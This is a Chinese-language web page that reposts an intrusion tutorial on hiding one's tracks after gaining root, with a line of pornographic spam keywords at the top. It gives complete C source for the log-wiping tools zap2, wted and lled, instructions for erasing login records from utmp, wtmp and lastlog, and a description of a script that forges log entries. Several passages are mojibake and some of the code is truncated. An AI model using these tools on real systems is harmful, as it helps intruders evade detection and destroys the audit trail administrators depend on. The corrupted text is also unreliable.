欧美性猛交黑人xxxx,成人毛片一区二区三区,久久综合九色综合精品,男的把j放进女人下面视频免费

進入系統后如何隱藏自己?

  • 發布于:2021-01-17
  • 247 人圍觀
網絡上有很多不同的日志清除程序,其中最好的是zap2。我編譯后稱為z2
在你獲得root的訪問權后立即運行z2這個程序。這個程序執行的非??臁?
你可以使用finger @host.xxx來查看當前有說鍬劑耍邢腹鄄煲幌聄oot或admin的idle time(空閑時間)
來猜測他們是否離開主機了。
Login, ?ú????oóá¢?′ê?è?wà′2é?′idle timeoí???úóD?????á??£ ????ó?"w"2é?′??í3oí??ê?è?ê1
×??o3é?aroot???üá?ê?2??üí?ê±??DD???£ò?????????á?root??·??ê訣?á¢?′ê?è? ./z2 ??????
??í3?ùó???ó??§???£
現在你比剛才就安全多了?,F在再用"w"或"who"命令來查看一下,你已靜換岜籾tmp記錄了。如果你要使
用 ftp或其它的一些命令你可能就會用到我在本章中提供的另外兩個程序 wted 和 lled。
我們先來完成z2這個程序。你必須了解每個文件在你入侵的系統中的位置以便修改z2.c,使其包含這些
文件的正確路徑。
下面是在文件頭部的需要你修改的部分。
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
在有些系統中應該是:
#define WTMP_NAME "/var/adm/wtmp"
#define UTMP_NAME "/var/adm/utmp"
#define LASTLOG_NAME "/var/adm/lastlog"
但你應該自己查看一下這些文件存放在你要入侵的系統的什么位置。/var/log目錄也是很可能的一個路徑。
修改好正確的文件路徑后,編譯這個文件,現在你登錄之后運行z2,你就已比較安全了。
這里是c程序:
z2.c
--------------------------- cut here
#include
#include
#include
#include
#include
#include
#include
#include
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;

if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}

void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;

pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {

while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}

void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;

if ((pwd=getpwnam(who))!=NULL) {

if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}

} else printf("%s: ?/n",who);
}

main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!/n");
} else
printf("Error./n");
}
--------------------------- cut here


--------------------------------------------------------------------------------

其它腳本程序

我們開始本章的另一部分。我們假設你登錄并執行了z2,你需要進行ftp來抓一個文件(記住,象第一
章所說的,不要ftp或telent出這個入侵的主機)。好了,你ftp進入系統抓取幾個文件,或登錄到系統
的其它帳戶中,那現在你就要用到wted程序了。 wted程序允許你編紈tmp日志來清除你ftp留下的記錄。
你也可能要用到lled (編糽astlog日志).
你在修改日志的路徑并編譯wted程序后,輸入 ./wted將會出現下面的菜單。
[8:25pm][/home/compile]wted
Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST
-h This help 幫助
-f Use FILE instead of default 所使用的非默認文件
-a Show all entries found 顯示所有的記錄
-u Show all entries for USER 顯示USER的所有記錄
-b Show NULL entries 顯示空記錄
-e Erase USER completely 完全清除某用戶的記錄
-c Erase all connections containing HOST 清除從某主機來的所有記錄
-z Show ZAP'd entries ??ê?ó?ZAP′|àí1y??????
-x Attempt to remove ZAP'd entries completely é?3yó?ZAP′|àí1y??????
如果你ftp使用的用戶名為 tsmith,你應這樣使用 wted -x -e tsmith
這個程序將顯示用戶tsmith登錄的一個時間并詢問你是否要刪除它。在你刪除你登錄的記錄后,記著
chmod 644 wtmp.tmp文件然后將其拷貝到日志文件的目錄并覆蓋岳吹奈募?。象这样?
1. chmod 644 wtmp.tmp
2. cp wtmp.tmp /var/adm/wtmp
下面是wted程序:
重要:記著將char里面文件改成正確的路徑。
wted.c
---------------------- cut here
#include
#include
#include
#include
char *file="/var/adm/wtmp";
main(argc,argv)
int argc;
char *argv[];
{
int i;
if (argc==1) usage();
for(i=1;i{
if(argv[i][0] == '-')
{
switch(argv[i][1])
{
case 'b': printents(""); break;
case 'z': printents("Z4p"); break;
case 'e': erase(argv[i+1],0); break;
case 'c': erase(0,argv[i+1]); break;
case 'f': file=argv[i+1]; break;
case 'u': printents(argv[i+1]); break;
case 'a': printents("*"); break;
case 'x': remnull(argv[i+1]); break;
default:usage();
}
}
}
}
printents(name)
char *name;
{
struct utmp utmp,*ptr;
int fp=-1;
ptr=&utmp;
if (fp=open(file,O_RDONLY))
{
while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp))
{
if ( !(strcmp(name,ptr->ut_name)) || (name=="*") ||
(!(strcmp("Z4p",name)) && (ptr->ut_time==0)))
printinfo(ptr);
}
close(fp);
}
}
printinfo(ptr)
struct utmp *ptr;
{
char tmpstr[256];
printf("%s/t",ptr->ut_name);
printf("%s/t",ptr->ut_line);
strcpy(tmpstr,ctime(&(ptr->ut_time)));
tmpstr[strlen(tmpstr)-1]='/0';
printf("%s/t",tmpstr);
printf("%s/n",ptr->ut_host);
}
erase(name,host)
char *name,*host;
{
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct utmp utmp;
unsigned char c;
if (fp=open(file,O_RDONLY)) {
fd=open("wtmp.tmp",O_WRONLY|O_CREAT);
while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) {
if (host)
if (strstr(utmp.ut_host,host)) tot++;
else {cnt++;write(fd,&utmp,sizeof(struct utmp));}
if (name) {
if (strcmp(utmp.ut_name,name)) {cnt++;
write(fd,&utmp,sizeof(struct utmp));}
else {
if (n>0) {
n--;cnt++;
write(fd,&utmp,sizeof(struct utmp));}
else
{
printinfo(&utmp);
printf("Erase entry (y/n/f(astforward))? ");
c='a';
while (c!='y'&&c!='n'&&c!='f') c=getc(stdin);
if (c=='f') {
cnt++;
write(fd,&utmp,sizeof(struct utmp));
printf("Fast forward how many entries? ");
scanf("%d",&n);}
if (c=='n') {
cnt++;
write(fd,&utmp,sizeof(struct utmp));
}
if (c=='y') tot++;
}
} }
}
close(fp);
close(fd);
}
printf("Entries stored: %d Entries removed: %d/n",cnt,tot);
printf("Now chmod wtmp.tmp and copy over the original %s/n",file);
}
remnull(name)
char *name;
{

int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct utmp utmp;
if (fp=open(file,O_RDONLY)) {
fd=open("wtmp.tmp",O_WRONLY|O_CREAT);
while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) {
if (utmp.ut_time) {
cnt++;
write(fd,&utmp,sizeof(struct utmp));
}
else
tot++;
}
close(fp);
close(fd);
}
printf("Entries stored: %d Entries removed: %d/n",cnt,tot);
printf("Now chmod wtmp.tmp and copy over the original %s/n",file);
}
usage()
{
printf("Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST/n");
printf("/t-h/tThis help/n");
printf("/t-f/tUse FILE instead of default/n");
printf("/t-a/tShow all entries found/n");
printf("/t-u/tShow all entries for USER/n");
printf("/t-b/tShow NULL entries/n");
printf("/t-e/tErase USER completely/n");
printf("/t-c/tErase all connections containing HOST/n");
printf("/t-z/tShow ZAP'd entries/n");
printf("/t-x/tAttempt to remove ZAP'd entries completely/n");
}
---------------------- cut here
你可能還需要清除/vat/adm/lastlog日志。
這要用到lled.c程序。編譯這個文件并命名為lled.
你運行lled程序將會出現下面的菜單:
[4:04am][/home/paris/compile]lled
Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST
-h This help °??ú
-f Use FILE instead of default ê1ó????¨?????t′úì?è±ê???
-a Show all entries found ??ê?è?2?????
-u Show all entries for USER ??ê????¨ó??§??è?2?????
-b Show NULL entries ??ê???????
-e Erase USER completely è?2?é?3y???¨ó??§??????
-c Erase all connections containing HOST é?3y°üo????¨?÷?ú??è?2?????
-z Show ZAP'd entries ??ê?ó?ZAP′|àí1y??????
-x Attempt to remove ZAP'd entries completely é?3yó?ZAP′|àí1y??????
你可以先用-u來看一下,很多時候你的用戶名并沒有記錄下來,但會記錄下你的主機,一般你可以這
樣使用:(假設我進入系統時使用的主機名為machine.edit.com)
lled -e username -c machine.edit
如果你要查看你的主機是否記錄在lastlog日志的結尾,你應輸入:lled -a
使用chmod將 lastlog.tmp文件屬性改為 644并象你使用上面的wted程序一樣將其拷貝到日志文件的目
錄中并覆蓋岳吹奈募?
重要:將lastlog路徑設置為你入侵的主機中的正確路徑。
下面是lled.c:
-------------------------- cut here
#include
#include
#include
#include
char *file="/var/adm/lastlog";
main(argc,argv)
int argc;
char *argv[];
{
int i;
if (argc==1) usage();
for(i=1;i{
if(argv[i][0] == '-')
{
switch(argv[i][1])
{
case 'b': printents(""); break;
case 'z': printents("Z4p"); break;
case 'e': erase(argv[i+1]); break;
case 'c': erase(0,argv[i+1]); break;
case 'f': file=argv[i+1]; break;
case 'u': printents(argv[i+1]); break;
case 'a': printents("*"); break;
case 'x': remnull(argv[i+1]); break;
default:usage();
}
}
}
}
printents(name)
char *name;
{
struct lastlog utmp,*ptr;
int fp=-1;
ptr=&utmp;
if (fp=open(file,O_RDONLY))
{
while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog))
{
if ( !(strcmp(name,ptr->ll_line)) || (name=="*") ||
(!(strcmp("Z4p",name)) && (ptr->ll_time==0)))
printinfo(ptr);
}
close(fp);
}
}
printinfo(ptr)
struct lastlog *ptr;
{
char tmpstr[256];
printf("%s/t",ptr->ll_line);
strcpy(tmpstr,ctime(&(ptr->ll_time)));
tmpstr[strlen(tmpstr)-1]='/0';
printf("%s/t",tmpstr);
printf("%s/n",ptr->ll_host);
}
erase(name,host)
char *name,*host;
{
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct lastlog utmp;
unsigned char c;
if (fp=open(file,O_RDONLY)) {
fd=open("lastlog.tmp",O_WRONLY|O_CREAT);
while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) {
if (host)
if (strstr(utmp.ll_host,host)) tot++;
else {cnt++;write(fd,&utmp,sizeof(struct lastlog));}
if (name) {
if (strcmp(utmp.ll_line,name)) {cnt++;
write(fd,&utmp,sizeof(struct lastlog));}
else {
if (n>0) {
n--;cnt++;
write(fd,&utmp,sizeof(struct lastlog));}
else
{
printinfo(&utmp);
printf("Erase entry (y/n/f(astforward))? ");
c='a';
while (c!='y'&&c!='n'&&c!='f') c=getc(stdin);
if (c=='f') {
cnt++;
write(fd,&utmp,sizeof(struct lastlog));
printf("Fast forward how many entries? ");
scanf("%d",&n);}
if (c=='n') {
cnt++;
write(fd,&utmp,sizeof(struct lastlog));
}
if (c=='y') tot++;
}
} }
}
close(fp);
close(fd);
}
printf("Entries stored: %d Entries removed: %d/n",cnt,tot);
printf("Now chmod lastlog.tmp and copy over the original %s/n",file);
}
remnull(name)
char *name;
{
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct lastlog utmp;
if (fp=open(file,O_RDONLY)) {
fd=open("lastlog.tmp",O_WRONLY|O_CREAT);
while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) {
if (utmp.ll_time) {
cnt++;
write(fd,&utmp,sizeof(struct lastlog));
}
else
tot++;
}
close(fp);
close(fd);
}
printf("Entries stored: %d Entries removed: %d/n",cnt,tot);
printf("Now chmod lastlog.tmp and copy over the original %s/n",file);
}
usage()
{
printf("Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST/n");
printf("/t-h/tThis help/n");
printf("/t-f/tUse FILE instead of default/n");
printf("/t-a/tShow all entries found/n");
printf("/t-u/tShow all entries for USER/n");
printf("/t-b/tShow NULL entries/n");
printf("/t-e/tErase USER completely/n");
printf("/t-c/tErase all connections containing HOST/n");
printf("/t-z/tShow ZAP'd entries/n");
printf("/t-x/tAttempt to remove ZAP'd entries completely/n");
}
---------------------------------------------------------------- cut here
下面是個編輯tmp, wtmp和檢查進程的很好的perl腳本程序。這個程序還允許你在wtmp日志中加入一行。
如果你想搞,你可以加入clinton(克林頓).whitehouse(白宮).gov logging into port ttyp3 并顯示
他在系統中停留了幾個小時!
使用檢查功能,你可以知道是否有什么人登錄到系統中而在utmp日志中又沒有記錄。系統管理員有時登
錄后喜歡把自己隱藏起來,這個程序可以看到他們是否在線。你必須有root的權限來執行這個程序,這
個程序還需要5.003以上的版本才能運行。啟動這個腳本程序后輸入help。
下面是一些基本命令:
starts by loading wtmp
delete user username
delete host hostanme
write
read wtmp
delete user username
delete host hostname
write
使用help來查看其它的命令......

萬企互聯
標簽: